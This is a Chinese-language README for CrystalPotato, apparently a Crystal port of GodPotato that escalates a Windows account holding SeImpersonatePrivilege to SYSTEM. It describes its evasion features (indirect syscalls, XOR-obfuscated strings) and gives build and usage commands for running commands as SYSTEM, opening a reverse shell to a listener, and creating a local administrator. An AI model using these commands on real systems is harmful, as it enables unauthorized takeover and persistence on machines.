GodPotato 的 Crystal 移植版本,一种通过滥用 DCOM OXID Resolver 和命名管道模拟,从具有 SeImpersonatePrivilege 权限的账户本地提权至 SYSTEM 的工具。
Windows API 在运行时动态解析,并通过间接系统调用存根调用;所有字符串在编译时进行 XOR 混淆,默认情况下仅打印命令输出。已在 Windows 10、11 和 Server 2025 上测试。
CrystalPotato 使用 Windows 上的 Crystal 编译为单个无依赖文件:
crystal build CrystalPotato.cr -o CrystalPotato.exe --release --static
执行命令、启动反向 shell,或创建本地管理员。
CrystalPotato.exe -c <COMMAND>
CrystalPotato.exe -H <LHOST> -P <LPORT> [-c <SHELL>]
CrystalPotato.exe -u <USER> -pw <PASS>
| 标志 | 说明 |
|---|---|
-c CMD | 要以 SYSTEM 身份执行的命令或用于反向 shell 的 shell(默认:cmd.exe) |
-H HOST | 反向 shell 监听主机 |
-P PORT | 反向 shell 监听端口 |
-u USER | 创建本地管理员 - 用户名 |
-pw PASS | 创建本地管理员 - 密码 |
-p NAME | 自定义管道名称(默认:Crystal) |
-d | 调试输出 |
-dd | 完整跟踪 |
-h | 显示帮助 |

GodPotato - 由 BeichenDream 编写的原始 C# 实现。
RustPotato - 由 safedv 编写的 Rust 实现。
SigmaPotato - 由 tylerdotrar 编写的具有额外功能的 C# 实现。